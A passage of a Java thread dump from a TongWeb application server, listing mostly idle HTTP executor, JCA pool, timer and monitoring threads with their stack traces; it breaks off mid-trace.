com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1089) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1151) + at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:623) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"http-nio2-8080-exec-2" #27 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@177eb6a + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1089) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1151) + at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:623) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"Auto-deploy-timer" #151 daemon [TIMED_WAITING] on java.util.TaskQueue@276bd732 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.util.TimerThread.mainLoop(Timer.java:552) + at java.util.TimerThread.run(Timer.java:505) + +"http-nio2-9060-AsyncTimeout" #99 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at com.tongweb.coyote.AbstractProtocol$AsyncTimeout.run(AbstractProtocol.java:1138) + at java.lang.Thread.run(Thread.java:750) + +"http-nio2-9060-exec-3" #17 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@404ae151 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1089) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1151) + at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:623) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-5100-exec-2" #103 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4e8d06f0 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1089) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1151) + at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:623) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-5100-ClientPoller-0" #112 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at com.tongweb.web.util.net.NioEndpoint$Poller.run(NioEndpoint.java:791) + at java.lang.Thread.run(Thread.java:750) + +"http-nio2-8080-exec-6" #31 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@177eb6a + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1089) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1151) + at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:623) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"JCA-default-thread-pool-worker-2" #77 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@303ceae7 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"Exec Stream Pumper" #160 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.io.FileInputStream.readBytes(Native Method) + at java.io.FileInputStream.read(FileInputStream.java:255) + at java.io.BufferedInputStream.fill(BufferedInputStream.java:246) + at java.io.BufferedInputStream.read1(BufferedInputStream.java:286) + at java.io.BufferedInputStream.read(BufferedInputStream.java:345) + at java.io.FilterInputStream.read(FilterInputStream.java:107) + at com.tongweb.commons.exec.StreamPumper.run(StreamPumper.java:107) + at java.lang.Thread.run(Thread.java:750) + +"http-nio2-9060-exec-8" #22 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@404ae151 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1089) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1151) + at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:623) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"RetryTimer" #86 daemon [WAITING] on java.util.TaskQueue@5fca880d + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at java.util.TimerThread.mainLoop(Timer.java:526) + at java.util.TimerThread.run(Timer.java:505) + +"Thread-4" #25 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPoll.epollWait(Native Method) + at sun.nio.ch.EPollPort$EventHandlerTask.poll(EPollPort.java:194) + at sun.nio.ch.EPollPort$EventHandlerTask.run(EPollPort.java:268) + at java.lang.Thread.run(Thread.java:750) + +"JCA-default-thread-pool-worker-10" #85 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@303ceae7 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"JCA-default-thread-pool-worker-7" #82 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@303ceae7 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"Agent-Cpu-Getter" #135 daemon [WAITING] on java.lang.UNIXProcess@61581425 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at java.lang.UNIXProcess.waitFor(UNIXProcess.java:395) + at com.tongweb.commons.exec.DefaultExecutor.executeInternal(DefaultExecutor.java:364) + at com.tongweb.commons.exec.DefaultExecutor.execute(DefaultExecutor.java:166) + at com.tongweb.util.sys.OptionalSysInfoUtil.executeCommandLine(OptionalSysInfoUtil.java:328) + at com.tongweb.util.sys.OptionalSysInfoUtil.executeDirectly(OptionalSysInfoUtil.java:306) + at com.tongweb.util.sys.OptionalSysInfoUtil.getCpuPercentHeavily(OptionalSysInfoUtil.java:98) + at com.tongweb.util.sys.OptionalSysInfoUtil.initCpuPercentCache(OptionalSysInfoUtil.java:85) + at com.tongweb.util.sys.OptionalSysInfoUtil.access$100(OptionalSysInfoUtil.java:14) + at com.tongweb.util.sys.OptionalSysInfoUtil$1.run(OptionalSysInfoUtil.java:63) + at java.lang.Thread.run(Thread.java:750) + +"JCA-default-thread-pool-worker-4" #79 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@303ceae7 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"JCA-default-thread-pool-worker-5" #80 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@303ceae7 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"ContainerBackgroundProcessor[StandardEngine[TONGWEB]]" #97 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at com.tongweb.catalina.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1345) + at java.lang.Thread.run(Thread.java:750) + +"http-nio2-9060-exec-2" #16 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@404ae151 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1089) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1151) + at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:623) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"JCA-default-thread-pool-worker-8" #83 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@303ceae7 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"NioBlockingSelector.BlockPoller-1" #37 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at com.tongweb.web.util.net.NioBlockingSelector$BlockPoller.run(NioBlockingSelector.java:339) + +"http-nio2-9060-exec-5" #19 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@404ae151 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1089) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1151) + at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:623) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"main" #1 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.PlainSocketImpl.socketAccept(Native Method) + at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409) + at java.net.ServerSocket.implAccept(ServerSocket.java:560) + at java.net.ServerSocket.accept(ServerSocket.java:528) + at com.tongweb.catalina.core.StandardServer.awaitSocket(StandardServer.java:510) + at com.tongweb.catalina.core.StandardServer.await(StandardServer.java:450) + at com.tongweb.catalina.startup.Catalina.await(Catalina.java:743) + at com.tongweb.catalina.startup.ThanosCatalina.start(Unknown Source) + at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) + at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) + at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) + at java.lang.reflect.Method.invoke(Method.java:498) + at com.tongweb.catalina.startup.Bootstrap.start(Bootstrap.java:364) + at com.tongweb.catalina.startup.Bootstrap.main(Bootstrap.java:501) + +"http-nio2-8080-exec-3" #28 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@177eb6a + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1089) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1151) + at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:623) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"http-nio2-8080-exec-10" #35 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@177eb6a + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1089) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1151) + at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:623) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"JCA-default-thread-pool-worker-3" #78 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@303ceae7 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-5100-exec-1" #102 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4e8d06f0 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1089) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1151) + at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:623) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"http-nio2-9060-exec-1" #15 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@404ae151 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1089) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1151) + at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:623) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"Reference Handler" #2 daemon [WAITING] on java.lang.ref.Reference$Lock@18739d7b + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at java.lang.ref.Reference.tryHandlePending(Reference.java:191) + at java.lang.ref.Reference$ReferenceHandler.run(Reference.java:153) + +"http-nio2-9060-exec-9" #23 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@404ae151 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1089) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1151) + at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:623) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"http-nio2-8080-exec-5" #30 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@177eb6a + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1089) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1151) + at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:623) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"http-nio2-9060-exec-4" #18 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@404ae151 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1089) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1151) + at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:623) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"JCA-default-thread-pool-worker-9" #84 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@303ceae7 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"TW7-Monitor-1-thread-1" #116 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4f4f2740 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"RMI Reaper" #90 [WAITING] on java.lang.ref.ReferenceQueue$Lock@44ce4444 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165) + at sun.rmi.transport.ObjectTable$Reaper.run(ObjectTable.java:351) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-5100-exec-4" #105 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4e8d06f0 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1089) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1151) + at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:623) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"IntelligentRouterHealthInfoCollector" #146 [TIMED_WAITING] on java.util.TaskQueue@651689c4 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at 